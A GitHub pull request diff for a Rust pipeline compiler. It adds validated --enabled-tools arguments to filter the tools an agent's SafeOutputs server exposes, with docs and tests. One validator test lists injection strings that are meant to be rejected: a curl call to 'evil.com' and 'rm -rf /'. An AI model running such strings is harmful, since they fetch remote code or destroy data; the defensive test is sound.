Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions AGENTS.md
Original file line number Diff line number Diff line change
Expand Up @@ -605,6 +605,16 @@ Should be replaced with the comma-separated domain list for AWF's `--allow-domai

The output is formatted as a comma-separated string (e.g., `github.com,*.dev.azure.com,api.github.com`).

## {{ enabled_tools_args }}

Should be replaced with `--enabled-tools <name>` CLI arguments for the SafeOutputs MCP HTTP server. The tool list is derived from `safe-outputs:` front matter keys plus always-on diagnostic tools (`noop`, `missing-data`, `missing-tool`, `report-incomplete`).

When `safe-outputs:` is empty (or omitted), this is replaced with an empty string and all tools remain available (backward compatibility). When non-empty, the replacement includes a trailing space to prevent concatenation with the next positional argument in the shell command.

Tool names are validated at compile time:
- Names must contain only ASCII alphanumerics and hyphens (shell injection prevention)
- Unrecognized names (not in `ALL_KNOWN_SAFE_OUTPUTS`) emit a warning to catch typos

## {{ cancel_previous_builds }}

When `triggers.pipeline` is configured, this generates a bash step that cancels any previously queued or in-progress builds of the same pipeline definition. This prevents multiple builds from accumulating when the upstream pipeline triggers rapidly (e.g., multiple PRs merged in quick succession).
Expand Down
189 changes: 169 additions & 20 deletions src/compile/common.rs
Original file line number Diff line number Diff line change
Expand Up @@ -671,29 +671,94 @@ pub fn generate_executor_ado_env(write_service_connection: Option<&str>) -> Stri
}
}

/// Safe-output names that require write access to ADO.
const WRITE_REQUIRING_SAFE_OUTPUTS: &[&str] = &[
"create-pull-request",
"create-work-item",
"comment-on-work-item",
"update-work-item",
"create-wiki-page",
"update-wiki-page",
"add-pr-comment",
"link-work-items",
"queue-build",
"create-git-tag",
"add-build-tag",
"create-branch",
"update-pr",
"upload-attachment",
"submit-pr-review",
"reply-to-pr-review-comment",
"resolve-pr-review-thread",
];
/// Returns true if the name contains only ASCII alphanumerics and hyphens.
/// This value is embedded inline in a shell command, so control characters
/// (including newlines) and whitespace must be rejected to prevent corruption.
fn is_safe_tool_name(name: &str) -> bool {
!name.is_empty() && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
}

/// Generate `--enabled-tools` CLI args for the SafeOutputs MCP server.
///
/// Derives the tool list from `safe-outputs:` front matter keys plus always-on
/// diagnostic tools. If `safe-outputs:` is empty, returns an empty string
/// (all tools enabled for backward compatibility).
///
/// Non-MCP keys (like `memory`) are silently skipped — they are handled by the
/// executor and have no corresponding MCP route.
///
/// Tool names are validated to contain only ASCII alphanumerics and hyphens
/// to prevent shell injection when the args are embedded in bash commands.
/// Unrecognized tool names emit a compile-time warning and are skipped.
pub fn generate_enabled_tools_args(front_matter: &FrontMatter) -> String {
use crate::tools::{ALL_KNOWN_SAFE_OUTPUTS, ALWAYS_ON_TOOLS, NON_MCP_SAFE_OUTPUT_KEYS};
use std::collections::HashSet;

if front_matter.safe_outputs.is_empty() {
return String::new();
}

// `seen` deduplicates across user keys and ALWAYS_ON_TOOLS (e.g. if the user
// configures `noop` explicitly, it shouldn't appear twice in the output).
let mut seen = HashSet::new();
let mut tools: Vec<String> = Vec::new();
let mut user_tool_count = 0usize;
for key in front_matter.safe_outputs.keys() {
if !is_safe_tool_name(key) {
eprintln!(
"Warning: skipping invalid safe-output tool name '{}' (must be ASCII alphanumeric/hyphens only)",
key
);
continue;
}
if NON_MCP_SAFE_OUTPUT_KEYS.contains(&key.as_str()) {
continue;
}
if !ALL_KNOWN_SAFE_OUTPUTS.contains(&key.as_str()) {
eprintln!(
"Warning: unrecognized safe-output tool '{}' — skipping (no registered tool matches this name)",
key
);
continue;
}
user_tool_count += 1;
if seen.insert(key.clone()) {
tools.push(key.clone());
}
}

if user_tool_count == 0 {
// Every user-specified key was either invalid, unrecognized, or non-MCP
// (e.g. memory-only). Return empty to keep all tools available (backward compat).
return String::new();
}

// Always include diagnostic tools
for tool in ALWAYS_ON_TOOLS {
let name = tool.to_string();
if seen.insert(name.clone()) {
tools.push(name);
}
}

tools.sort();

let args = tools
.iter()
.map(|t| format!("--enabled-tools {}", t))
.collect::<Vec<_>>()
.join(" ");

// Trailing space so the args don't concatenate with the next positional
// argument when embedded inline in the shell template.
// `args` is never empty here because ALWAYS_ON_TOOLS always contributes entries.
args + " "
}

/// Validate that write-requiring safe-outputs have a write service connection configured.
pub fn validate_write_permissions(front_matter: &FrontMatter) -> Result<()> {
use crate::tools::WRITE_REQUIRING_SAFE_OUTPUTS;

let has_write_sc = front_matter
.permissions
.as_ref()
Expand Down Expand Up @@ -1637,4 +1702,88 @@ mod tests {
).unwrap();
assert!(validate_resolve_pr_thread_statuses(&fm).is_ok());
}

// ─── Enabled tools args generation ──────────────────────────────────

#[test]
fn test_generate_enabled_tools_args_empty_safe_outputs() {
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
assert!(args.is_empty(), "Empty safe-outputs should produce no args");
}

#[test]
fn test_generate_enabled_tools_args_with_configured_tools() {
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\nsafe-outputs:\n create-pull-request:\n target-branch: main\n create-work-item:\n work-item-type: Task\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
assert!(args.contains("--enabled-tools create-pull-request"));
assert!(args.contains("--enabled-tools create-work-item"));
// Always-on tools should also be included
assert!(args.contains("--enabled-tools noop"));
assert!(args.contains("--enabled-tools missing-data"));
assert!(args.contains("--enabled-tools missing-tool"));
assert!(args.contains("--enabled-tools report-incomplete"));
}

#[test]
fn test_generate_enabled_tools_args_no_duplicates() {
// If a diagnostic tool is also in safe-outputs, it shouldn't appear twice
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\nsafe-outputs:\n noop:\n max: 5\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
let noop_count = args.matches("--enabled-tools noop").count();
assert_eq!(noop_count, 1, "noop should appear exactly once");
}

#[test]
fn test_is_safe_tool_name() {
assert!(is_safe_tool_name("create-pull-request"));
assert!(is_safe_tool_name("noop"));
assert!(is_safe_tool_name("my-tool-123"));
assert!(!is_safe_tool_name(""));
assert!(!is_safe_tool_name("$(curl evil.com)"));
assert!(!is_safe_tool_name("foo; rm -rf /"));
assert!(!is_safe_tool_name("tool name"));
assert!(!is_safe_tool_name("tool\ttab"));
}

#[test]
fn test_generate_enabled_tools_args_skips_unknown_tool() {
// An unrecognized (but safe-formatted) tool name should be skipped.
// When no valid MCP tools remain, return empty (all tools available).
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\nsafe-outputs:\n crate-pull-request:\n target-branch: main\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
assert!(!args.contains("crate-pull-request"), "Unrecognized tool should be skipped");
assert!(args.is_empty(), "All-unrecognized safe-outputs should produce no args (all tools available)");
}

#[test]
fn test_generate_enabled_tools_args_skips_memory_key() {
// `memory` is a non-MCP executor-only key. It must not appear in
// --enabled-tools or it would cause real MCP tools to be filtered out.
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\nsafe-outputs:\n memory:\n allowed-extensions:\n - .md\n create-pull-request:\n target-branch: main\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
assert!(!args.contains("--enabled-tools memory"), "Non-MCP key 'memory' should be skipped");
assert!(args.contains("--enabled-tools create-pull-request"), "Real MCP tool should be present");
}

#[test]
fn test_generate_enabled_tools_args_memory_only_does_not_filter() {
// When `memory` is the only safe-output key, no --enabled-tools args should
// be generated so all tools remain available (backward compat).
let (fm, _) = parse_markdown(
"---\nname: test\ndescription: test\nsafe-outputs:\n memory:\n allowed-extensions:\n - .md\n---\n"
).unwrap();
let args = generate_enabled_tools_args(&fm);
assert!(args.is_empty(), "memory-only safe-outputs should produce no args (all tools available)");
}
}
6 changes: 6 additions & 0 deletions src/compile/onees.rs
Original file line number Diff line number Diff line change
Expand Up @@ -159,6 +159,12 @@ displayName: "Finalize""#,
// Validate resolve-pr-review-thread has required allowed-statuses field
validate_resolve_pr_thread_statuses(front_matter)?;

// NOTE: 1ES target does not support --enabled-tools filtering (safe-outputs
// tool filtering). 1ES uses service connections for MCP servers rather than
// mcp-http, so generate_enabled_tools_args is not called here. If safe-outputs
// filtering is needed for 1ES, it would require changes to the 1ES pipeline
// template and agency job configuration.

// Replace all template markers
let compiler_version = env!("CARGO_PKG_VERSION");
let replacements: Vec<(&str, &str)> = vec![
Expand Down
17 changes: 11 additions & 6 deletions src/compile/standalone.rs
Original file line number Diff line number Diff line change
Expand Up @@ -17,12 +17,13 @@ use super::common::{
self, AWF_VERSION, COPILOT_CLI_VERSION, DEFAULT_POOL, MCPG_PORT, MCPG_VERSION,
compute_effective_workspace, generate_acquire_ado_token, generate_cancel_previous_builds,
generate_checkout_self, generate_checkout_steps, generate_ci_trigger, generate_copilot_ado_env,
generate_copilot_params, generate_executor_ado_env, generate_header_comment,
generate_job_timeout, generate_pipeline_path, generate_pipeline_resources, generate_pr_trigger,
generate_repositories, generate_schedule, generate_source_path, generate_working_directory,
replace_with_indent, sanitize_filename, validate_comment_target,
validate_resolve_pr_thread_statuses, validate_submit_pr_review_events,
validate_update_pr_votes, validate_update_work_item_target, validate_write_permissions,
generate_copilot_params, generate_enabled_tools_args, generate_executor_ado_env,
generate_header_comment, generate_job_timeout, generate_pipeline_path,
generate_pipeline_resources, generate_pr_trigger, generate_repositories, generate_schedule,
generate_source_path, generate_working_directory, replace_with_indent, sanitize_filename,
validate_comment_target, validate_resolve_pr_thread_statuses,
validate_submit_pr_review_events, validate_update_pr_votes,
validate_update_work_item_target, validate_write_permissions,
};
use super::types::{FrontMatter, McpConfig};
use crate::allowed_hosts::{CORE_ALLOWED_HOSTS, mcp_required_hosts};
Expand Down Expand Up @@ -85,6 +86,9 @@ impl Compiler for StandaloneCompiler {
// Generate comma-separated domain list for AWF
let allowed_domains = generate_allowed_domains(front_matter);

// Generate --enabled-tools args for SafeOutputs tool filtering
let enabled_tools_args = generate_enabled_tools_args(front_matter);

// Pool name
let pool = front_matter
.pool
Expand Down Expand Up @@ -183,6 +187,7 @@ impl Compiler for StandaloneCompiler {
("{{ working_directory }}", &working_directory),
("{{ workspace }}", &working_directory),
("{{ allowed_domains }}", &allowed_domains),
("{{ enabled_tools_args }}", &enabled_tools_args),
("{{ agent_content }}", markdown_body),
("{{ acquire_ado_token }}", &acquire_read_token),
("{{ copilot_ado_env }}", &copilot_ado_env),
Expand Down
16 changes: 14 additions & 2 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,9 @@ enum Commands {
output_directory: String,
/// Guard against directory traversal attacks by specifying the agent cannot influence folders outside this path
bounding_directory: String,
/// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed.
#[arg(long = "enabled-tools")]
enabled_tools: Vec<String>,
},
/// Execute safe outputs from Stage 1 (Stage 2 of the pipeline)
Execute {
Expand Down Expand Up @@ -84,6 +87,9 @@ enum Commands {
output_directory: String,
/// Guard against directory traversal attacks
bounding_directory: String,
/// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed.
#[arg(long = "enabled-tools")]
enabled_tools: Vec<String>,
},
/// Detect agentic pipelines and update GITHUB_TOKEN on their ADO definitions
Configure {
Expand Down Expand Up @@ -167,7 +173,11 @@ async fn main() -> Result<()> {
Commands::Mcp {
output_directory,
bounding_directory,
} => mcp::run(&output_directory, &bounding_directory).await?,
enabled_tools,
} => {
let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) };
mcp::run(&output_directory, &bounding_directory, filter.as_deref()).await?
}
Commands::Execute {
source,
safe_output_dir,
Expand Down Expand Up @@ -273,8 +283,10 @@ async fn main() -> Result<()> {
api_key,
output_directory,
bounding_directory,
enabled_tools,
} => {
mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref())
let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) };
mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref(), filter.as_deref())
.await?;
}
Commands::Configure {
Expand Down
Loading
Loading